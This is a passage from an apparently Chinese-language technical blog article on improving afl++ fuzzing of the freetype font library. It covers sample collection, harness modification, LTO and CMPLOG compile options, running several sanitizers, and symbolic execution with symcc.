0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">1.样本覆盖不足，缺少bdf、pcf等字体格式的样本。笔者通过查看这部分样本的代码覆盖率，发现大部分都没有通过对输入格式的检测，因此需要搜集更多的样本来触发新的路径。</span></p><p cid="n79" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">2.fc-query本身对freetype库的调用存在限制，由于freetype库中有大量渲染字体的代码，而fc-query通过设置flags来禁用对应代码的调用，因此我们需要找更适合Fuzzing的harness应用。</span></p><p cid="n81" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">3.还有很多freetype的api没有被调用，fc-query本身并没有对这部分api的调用，这也要求我们去寻找更适合Fuzzing的harness应用。</span></p><h3 cid="n82" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;outline: 0px;letter-spacing: 0.544px;text-indent: 0em;white-space: pre-wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span style="outline: 0px;font-size: 17px;visibility: visible;">Fuzzing进阶</span></h3><p cid="n83" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">在第一阶段的Fuzzing过程结束后，我们对Fuzzing的结果进行了分析，特别是针对代码的覆盖率部分，得到的结论是：相当一部分代码在Fuzzing过程中没有被触发。为了解决这个问题，我们通过对以下优化步骤来进一步提高整个Fuzzing的覆盖率。</span></p><h4 cid="n84" mdtype="heading" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">样本优化</span></strong></h4><p cid="n85" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">afl++这种基于变异的模糊测试工具，本质上非常依赖有效样本来提高对目标程序的探索路径，实现更高的代码覆盖率。因此样本越丰富，越能提高整个Fuzzing的效果。针对freetype 2.10.1版本中支持的字体类型，从互联网上对这些字体进行了搜集，基本上保证覆盖了freetype所支持的所有字体格式，通过进一步的Fuzzing测试，笔者发现确实可以有效提高整个程序的代码覆盖率。如下图所示，之前针对type1格式的字体，由于缺乏样本，基本难以靠变异来通过type1的字体格式检测，而在加入了对应的样本后，覆盖率得以提高。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="218" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="1" data-cropsely2="219" data-ratio="0.37777777777777777" data-s="300,640" style="width: 578px;height: 219px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=98ec7467&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSO5h3QWIWve1Q6ywY8ZjDUb1RY6KLLwHb8s3XS6mnKZ56qCiamYytcqaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">针对开源应用，我们有比较好的工具来分析整个应用程序的覆盖率，可以直观地查看没有被覆盖到的代码文件、函数名、行号等信息，为我们寻找更多样本提供思路。那么对于闭源应用，我们又该如何寻找更多更合适的样本？这里有一个取巧的办法，就是寻找与闭源应用同类型的开源产品，利用当前样本对该开源产品进行代码覆盖率统计，如果样本没有覆盖到开源产品，那么也肯定不会触发闭源应用的功能，这也算一个寻找更合适样本的思路。当然现实环境产品更加复杂，产品之间功能可能也并不相似，这种方式实施起来的效果也可能大打折扣。因此，针对闭源应用，另外一个选择就是基于生成的模糊测试工具，如peach、FormatFuzzer等，这就需要你对目标格式、结构等有一定的了解，能够针对性地编写Fuzzing引擎所需的模板文件。当然，如此多的工具能够联合起来自然是如虎添翼，如FormatFuzzer支持和afl++进行集成，在保证变异种子复杂性、有效性的基础上提供给afl++，让其能够触发更多的代码路径；缺点就是比较费时费力，需要研究员花费更多的精力在处理目标结构数据上，如果当前的Fuzzing过程遇到了瓶颈，也可以尝试这种方式来突破。</span></p><section style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">harness程序优化</span></strong></section><section style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">由于之前找到fontconfig中的程序对freetype的调用存在较多限制，为了能更多的触发在freetype中的函数调用，我们在这里分析了多个freetype-demos中的命令行程序，如ftbench、ftview等，可以通过命令行的对字体进行测试、微调、渲染。但由于渲染时会调用图像引擎对字体进行图像加载，带来巨大的性能损耗，需要进一步修改代码来更有效的进行Fuzzing。</span></section><section style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">因此尝试对整个字体渲染流程进行分析，筛除不必要对第三方库的函数调用，优化整个程序的执行流程，去除persistent模式中因为添加</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">__AFL_LOOP</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">函数导致的程序异常崩溃，针对部分冷门的freetype导出函数进行调用，最终形成了一个魔改版ftbench程序。</span></section><section style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">在网上搜索相关资料的时候发现Google团队很早就对freetype2的库进行了Fuzzing测试，并且集成到了oss-fuzz项目中，并且对freetype2进行Fuzzing的代码覆盖率达到80%以上。笔者出于好奇查看了他们的harness程序，发现他们基本实现了对当时freetype2版本所有导出函数的调用，配合freetype2所支持的所有字体样本，能达到80%的覆盖率也确实是很有可能</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">。覆盖报告如下图所示：</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="294" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="294" data-ratio="0.5601851851851852" data-s="300,640" style="width: 578px;height: 324px;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=98b1d343&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSOY9BLibX2SzibanNPUoTX6BZZ08lnEZsGoezibaZ4oMIvTGa5CpgRG0qcQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"></span></section><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">虽然说覆盖率没有100%还是有继续Fuzzing的余地的，但是这意味你需要更深入地分析代码没有被覆盖的原因，由此来不断更新harness程序或者填充新的样本。这需要耗费大量的时间、精力，而且产出新漏洞的几率并不大，建议新手避坑。当然，它还是有产生新漏洞的情况，比如CVE-2020-15999，这个freetype2漏洞并没有被oss-fuzz的程序集覆盖。因此想要在一些复杂项目中寻找漏洞，一个巧妙的思路就是查看当前社区对该项目的Fuzzing代码覆盖率程度，寻找尚未被覆盖到的代码，对这部</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">分代码进行Fuzzing，笔者之前在研究Linux内核Fuzzing的时候同样沿用了这个思路，并在多个文件系统中找到了漏洞。</span></p><h4 cid="n94" mdtype="heading" style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">编译</span></strong><strong style="letter-spacing: 0.544px;text-indent: 0em;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">目标优化</span></strong></h4><p cid="n95" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">afl++相比afl提供了更多的编译选项来优化Fuzzing过程。比如采用afl-clang-lto编译器对目标应用进行编译，这样可以有效减少覆盖率检测时边碰撞的概率，针对大型、复杂的软件尤其有效。同时使用COMPLOG 模式可以解决变异的样本难以匹配程序中大整数、魔数等问题，进一步提高代码覆盖率。在编译afl++的时候需要选择较新的llvm版本，才能生成afl-clang-lto编译工具，在编译目标时选择该工具，才可以使用afl++提供的各类优化特性，同时开启针对Fuzzing优化的环境变量配置，如</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">AFL_LLVM_CMPLOG=1</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">。此外，开启</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">AFL_LLVM_CMPLOG</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">选项时生成的目标程序，最好在afl-fuzz命令中通过</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">-c </code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">参数提供编译好的目标程序文件，尽量避免直接作为Fuzzing目标，这样会降低Fuzzing速度。同时afl-clang-lto编译的目标会自动保存目标程序中可以用来作为字典的数据，而不需要通过</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">-x</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">进行导入，在实际测试过程中发现afl-clang-lto的编译时间明显增长。</span></p><p cid="n96" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">同时前面提到的llvm的各种安全检测工具（sanitizers）如ASAN、MSAN、UBSAN等，可以在编译时通过配置</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">AFL_USE_ASAN=1</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">的环境变量来使用，这里分别编译采用了ASAN、MSAN、UBSAN检测方式的三个目标程序，分别使用相同的种子库对三个程序进行Fuzzing。一种简单的应用方式是在多核Fuzzing中，给辅核Fuzzing进程配置不同的编译目标，由于afl++在插桩时会避开ASAN、MSAN的代码，因此程序获取到的覆盖率反馈是一致的。</span></p><p cid="n97" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">笔者认为使用不同的sanitizers来对目标进行Fuzzing还是很有必要的，比如在Fuzzing过程中触发了一些特定的代码区域，而这部分代码中存在一个变量未初始化漏洞，但是你用ASAN插桩的应用根本不会有任何提示，这样就会错过发现这个漏洞的机会，因此尽可能多的使用更多的sanitizers来检测不同类型的漏洞，能够提高整个Fuzzing过程的有效产出。</span></p><h4 cid="n98" mdtype="heading" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">符号执行探索</span></strong></h4><p cid="n99" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">Hybrid Fuzzing（混合Fuzzing）是学术界和工业界一直探索的方向，通过符号执行技术来灵活地探索程序的不同路径和条件，经反馈后生成更多更有效的测试用例，可以有效提高Fuzzing的效率。笔者也尝试了多个工具来进行在实际应用场景中的探索。</span></p><p cid="n100" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">首先是源码符号执行工具symcc，它利用llvm编译器在编译目标程序时插入符号化代码，用来搜集程序运行时的符号信息。和之前的符号执行引擎相比，它们采用了在编译期一次性植入符号化代码，从而减少了将代码转换为中间语言，对中间语言进行符号化的运行开销，因此symcc的标题就是</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">Don’t interpret, compile</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">，即不要在解释阶段执行符号化，而是在编译阶段做这件事。这种方式可以有效提高符号化程序运行的速度。</span></p><p cid="n101" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, 